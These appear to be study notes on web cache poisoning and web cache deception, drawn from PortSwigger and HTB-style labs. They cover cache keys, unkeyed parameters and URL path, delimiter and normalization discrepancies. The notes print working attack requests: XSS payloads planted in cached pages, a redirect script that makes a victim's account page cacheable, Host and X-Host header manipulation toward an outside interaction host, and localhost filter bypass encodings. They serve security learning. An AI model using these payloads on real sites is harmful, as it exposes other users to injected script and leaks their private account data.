A web cache is a system that temporarily stores copies of web resources (HTML pages, images, CSS, JavaScript, etc.) to serve them faster on future requests. Its located between the origin server and user. When a user requests a website or static resource the request is first send to the cache, if there's not copy of the resource there it results in a MISS or cache MISS. The request is then forwarded to the origin server which responds to the request. The response is sent to the cache.
-
Cache checks if it has a stored copy
-
If yes (cache hit) → serves the cached version instantly
-
If no (cache miss) → fetches from origin server, stores copy, then serves it
Cache Keys
Whether the server should send a cached response or forward the request to the origin server. The cache decides on this by generating a cache key based on element in the request, like URL paths, query parameter or other HTTP headers.
If a request key matches the key of previous request it will serve a copy of the cache response.
Cache Key example:
GET /index.html?language=en HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html
There are keyed and unkeyed parameters in the Cache key. In example below the keyed parameter in thet GET requests differ, while user-agent and accept are unkeyed.
GET /index.html?language=en HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml
How to identify unkeyed paremeters
To inject malicious payloads into the web cache we need unkeyed parameters because keyed need to be the same when the victim access the resources.
Payload in unkeyed ref parameter
/index.php?language=en&ref="><script>alert(1)</script>
If user makes request after that like below it will get the XSS payload.
/index.php?language=en
Unkeyed GET Parameters
X-Cache-Status
This header will tell if the response was cached or not. If this header is not present you have to find it manually by changing parameters and checking the responses.
# Cached response
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Thu, 24 Jul 2025 10:17:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1849
Connection: keep-alive
Vary: Accept-Encoding
X-Cache-Status: HIT
Testing content parameter
# First request is miss
/index.php?language=valuewedidnotusebefore&ref=test123
# Request again is hit
/index.php?language=valuewedidnotusebefore&ref=test123
# Change value third request is hit
/index.php?language=valuewedidnotusebefore&ref=Hello
Since the content parameter is different but still get a cache hit, its unkeyed. Would the third request it be a miss it tells the cache key was different from the first 2 request, and thus its keyed.
For Unkeyed Headers the same methodology can be used to check for unkeyed headers.
In case of XXS vulns we can send this request twice to cache the payload then
GET /index.php?language=go&content="><script>alert(1)</script> HTTP/1.1
Host: 94.237.50.221:52841
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
This visit to trigger the payload: http://94.237.50.221:52841/index.php?language=go
URL Path Mapping
Is the process of mapping URL paths with resources on a server; like files, scripts, commands for example http://example.com/path/in/filesystem/resource.html. We can create discrepancies by sending a url like
http://example.com/user/123/profile/test.css
The origin server will ignore test.css and returns profile for user 123 The web cache using URL mapping will cache and server the profile for user 123. But the cache needs to be configured to store responses for request where path ends in .css.
How to test how the origin server maps URLs
Test if you still get information back after changing the /api/product/123 to /api/product/123/foo./pro
Path mapping for web cache deception

This exercise is from portswigger. We start by finding an interesting endpoint where look for a discrepancy by changing the url. The original request we have:
GET /my-account HTTP/2
Host: 0ae000ac03a4c602818e4e7600e90076.web-security-academy.net
Trying to change the url by usin test or test.js it still returns the account page.
GET /my-account/test.js HTTP/2
Host: 0ae000ac03a4c602818e4e7600e90076.web-security-academy.net
Looking at the response we see X-Cache: miss. Meaning the page isn't cached, however since we sent the request the page is now cached. And if we send the request again it says X-Cache: hit.
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3824
To use this we can send the victim a fresh URL to cache like /my-account/test.js. If the victim has opened the link we can open the URL ourselves and we will get the response of the victim which was cached.

The victim will open the cached acount page exposing sensitive information.\
Delimiter discrepancies
A delimiter is a character or sequence of chars to separate or mark boundaries in data. In url we see ? for example. Discrepancies in how a cache or origin server use delimiters can result in web cache deception. For example Java Spring used ; but other frameworks don't use the ;. So a cache that doesn't use Java Spring is likely to interpret ; and everything after it as part of the path.
Finding delimiter chars
Fuzz chars and specials char in the path. /users/test/list to /users/test/lista and use this response to find the delimiter by adding a possible char between. /settings/test/list;aaa . If the response is identical to the base response, this indicates that the ; character is used as a delimiter.
If you found delimiters used by the origin server, add a static extension to the end and see if the response is cached.
Make sure to test all ASCII characters and a range of common extensions, including
.css,.ico, and.exe.
- The cache interprets the path as:
/settings/test/list;aaa.js - The origin server interprets the path as:
/settings/test/list
The origin server returns the dynamic profile information, which is stored in the cache.
For example we can send a request after having found delimiter ;
GET /my-account;aaa.js HTTP/2
Host: 0ac6000f048c058d80e803fc007a00f5.web-security-academy.net
Cookie: session=P7RVzwtdHRsDSBqQ8Z2TIH5Ho1R6F4qe
We get back, showing a miss in the cache
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833
We now have url which is cached so create a fresh url and send it to the victim.
<script>window.location="https://0ac6000f048c058d80e803fc007a00f5.web-security-academy.net/my-account;pwn.js"</script>
When the victim clicks it will result in a HIT and the response is cached which we can retrieve by opening the url.
https://0ac6000f048c058d80e803fc007a00f5.web-security-academy.net/my-account;pwn.js
Delimiter decoding discrepancies
The cache and server can read the same URL different when one decodes special chars and the other doesn't. %23 is the encoded version of #
- Server
%23decodes it to#meaning stop there. - Cache doesn't decode
%23. and reads /test%23wcd.css ending at .css
Exploiting static directory cache rules
Web servers often store resrources in specific directories:
- /static
- /assets
- /scripts
- /images
Normalization discrepancies
Normalization is converting representations of a URL into a standardized format.
/folder/../file.txtbecomes/file.txt
Differences in how the origin server and the cache normalize URL's can enable attackers to create a path traversel payload which is treated different by each parser. Example: /static/..%2fprofile.
- Origin server: Decodes slash chars, resolves dot-segments > path will be
/profile. - Cache: Doesn't resolve slashes or dot-segments > will interpret
/static/..%2fprofile.
fat GET
We can use fat GET request where we use parameters in the body of the request. Below request would get german language instead of english confirming fat GET requests
GET /index.php?language=en HTTP/1.1
Host: fatget.wcp.htb:38159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 161
language=de
Host Header
The Host header tells the web server which website/domain the client wants to access when multiple sites are hosted on the same server. Like in the example below:
<VirtualHost *:80>
DocumentRoot "/var/www/mczen"
ServerName testapp.htb
</VirtualHost>
<VirtualHost *:80>
DocumentRoot "/var/www/intranet"
ServerName anotherdomain.org
</VirtualHost>
In our request we see
GET /index.html HTTP/1.1
Host: mcz3n.com
In case of local attacks you can fuzz ip's in the Host Header with 192.168.***.***
ffuf -u http://94.237.60.55:34165/admin.php -w ips.txt -H 'Host: FUZZ' -fs 752
The host header is keyed so can't poision the cache, but
X-Forwarded-Hostor override headerX-Hostcould be cached.
So a request could look like, where's X-Host send twice to poison cache.
GET /login.php HTTP/1.1
Host: admin.test.local
X-Host: cf187gp2vtc0000b03cgg8owd3ayyyyyb.oast.fun
Bypassing Header Checks
Its possible there's a filter in place that checks for pre-configured domains. Trying another domain may result in an error as the domain is not in the pre-configuration file.
Port bypass
Applications may run on a non-default port during testing so trying any other port might bypass the header check.
Blacklist bypass
Using blacklist a app might block localhostand 127.0.0.1 but by simple encoding the address like 0x7f000001 we can bypass the check.
# Examples to try
0x7f000001
localhost
localHost
X-Host: 127.1